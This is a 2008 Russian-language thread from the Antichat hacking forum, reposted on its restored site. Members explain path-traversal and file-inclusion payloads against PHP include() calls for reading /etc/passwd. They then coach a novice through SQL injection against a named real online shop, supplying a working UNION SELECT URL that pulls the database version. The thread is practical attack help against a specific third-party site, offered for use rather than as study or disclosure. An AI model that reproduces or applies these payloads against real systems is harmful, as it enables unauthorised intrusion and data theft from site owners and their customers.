ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
18.07.2008, 15:20
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337
Репутация:
3486
|
|
>> как или какими прогамми можно узнать строение сайта?
Сканеры head заголовков и прочего гомна. А вообще http://madnet.name/tools/madss/
|
|
|
18.07.2008, 15:20
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161
Репутация:
142
|
|
Каталоги помому ваще фигня -
можно сделать ../../../../../../../../../../etc/passwd или
../etc/passwd
и все равно выдаст тот же фаил, если он есть)
|
|
|
|
18.07.2008, 15:21
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
Провел на форуме:
2693408
Репутация:
861
|
|
Велемир,
Сообщение от n0ne
зависит от количества заданных каталогов в параметре. Т.е. если изначально запрос
include(/var/www/domain/vasya.ru/$page)
то кол-во .. будет равно 4. Но переборщить с .. нельзя) т.е. если в этом примере ты напишешь 30 .., то хуже не будет выше корня не уйдешь.
|
|
|
|
18.07.2008, 15:30
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337
Репутация:
3486
|
|
Сообщение от Велемир
Каталоги помому ваще фигня -
можно сделать ../../../../../../../../../../etc/passwd или
../etc/passwd
и все равно выдаст тот же фаил, если он есть)
Бред написал. Т.е. по твоему будет одноxуйственно?
include("/usr/blablabla/public_html/".$include_dir."blabla.php");
и
include("/usr/".$include_dir."blabla.php");
И при запросе
mda.php?include_dir=../../../etc/passwd%00
В обоих случаях выведет etc/passwd? Не стоит писать херню
Последний раз редактировалось .Slip; 18.07.2008 в 15:33..
|
|
|
|
18.07.2008, 16:44
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
Провел на форуме:
2693408
Репутация:
861
|
|
Сообщение от .Slip
include("/usr/blablabla/public_html/".$include_dir."blabla.php");
и
include("/usr/".$include_dir."blabla.php");
И при запросе
mda.php?include_dir=../../../etc/passwd%00
В обоих случаях выведет etc/passwd?
Если не ошибаюсь, то в твоем примере в обоих случаях выведет /etc/passwd ))
|
|
|
|
18.07.2008, 23:01
|
|
Участник форума
Регистрация: 13.07.2008
Сообщений: 101
Провел на форуме:
346497
Репутация:
303
|
|
Добрый всем. Немогли бы вы подсказать по sql inj. На сайте www.viagra.by в поиске походу sql inj. При запросе '#.......
Отвечает:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
Как правильно далее выстроить запрос? '# union select null/* вроде не работает. Или просто не выводит ничего? Заранее спасибо за ответ.
|
|
|
|
18.07.2008, 23:12
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552
Репутация:
568
|
|
причем тут # это тоже самое что и --
подставляй чтот тип.. '+union+select+1,2/*
а вообще намного удобние производить иньекцию здесь:
http://www.viagra.by/index.php?action=-1'+union+select+1,2,unhex(hex(version())),4,5/*
Последний раз редактировалось sabe; 18.07.2008 в 23:21..
|
|
|
|
18.07.2008, 23:23
|
|
Участник форума
Регистрация: 13.07.2008
Сообщений: 101
Провел на форуме:
346497
Репутация:
303
|
|
Ок, thx
|
|
|
|
18.07.2008, 23:40
|
|
Участник форума
Регистрация: 13.07.2008
Сообщений: 101
Провел на форуме:
346497
Репутация:
303
|
|
Не волучается. =( С поиска передаются данные через POST, через GET не берет .
Выдает только:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union+select+1/*%' OR artikul LIKE '%'union+select+1/*%' OR description LIKE '%'' at line 1
Укажите плз нубу на его ошубку=)
|
|
|
|
18.07.2008, 23:55
|
|
Banned
Регистрация: 10.11.2006
Сообщений: 829
Провел на форуме:
2634544
Репутация:
1559
|
|
выше запрос те же дали он работает )
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
